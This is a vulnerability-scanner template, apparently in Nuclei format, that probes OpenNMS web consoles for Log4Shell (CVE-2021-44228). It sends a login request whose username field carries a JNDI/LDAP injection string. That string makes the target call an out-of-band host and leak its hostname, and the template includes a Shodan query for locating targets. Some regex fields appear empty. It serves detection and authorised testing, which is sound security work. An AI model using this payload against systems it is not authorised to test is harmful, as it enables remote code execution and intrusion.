63 lines
1.8 KiB
YAML
63 lines
1.8 KiB
YAML
id: opennms-log4j-jndi-rce
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info:
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name: OpenNMS - JNDI Remote Code Execution (Apache Log4j)
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author: johnk3r
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severity: critical
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description: |
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OpenNMS JNDI is susceptible to remote code execution via Apache Log4j 2.14.1 and before. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled.
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reference:
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- https://www.horizon3.ai/the-long-tail-of-log4shell-exploitation/
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- https://www.opennms.com/en/blog/2021-12-10-opennms-products-affected-by-apache-log4j-vulnerability-cve-2021-44228/
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- https://logging.apache.org/log4j/2.x/security.html
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- https://nvd.nist.gov/vuln/detail/CVE-2021-44228
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
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cvss-score: 10
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cve-id: CVE-2021-44228
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cwe-id: CWE-77
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metadata:
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verified: true
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max-request: 1
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shodan-query: title:"OpenNMS Web Console"
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tags: jndi,log4j,rce,opennms,cve,cve2021,kev,oast
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variables:
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rand1: '{{rand_int(111, 999)}}'
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rand2: '{{rand_int(111, 999)}}'
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http:
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- raw:
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- |
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POST /opennms/j_spring_security_check HTTP/1.1
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Referer: {{RootURL}}/opennms/login.jsp
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Content-Type: application/x-www-form-urlencoded
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j_username=${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.postdata.{{interactsh-url}}}&j_password=password&Login=&j_usergroups=
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matchers-condition: and
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matchers:
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- type: word
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part: interactsh_protocol # Confirms the DNS Interaction
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words:
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- "dns"
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- type: regex
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part: interactsh_request
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regex:
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extractors:
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- type: kval
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kval:
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- type: regex
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group: 2
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regex:
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part: interactsh_request
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- type: regex
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group: 1
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regex:
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part: interactsh_request
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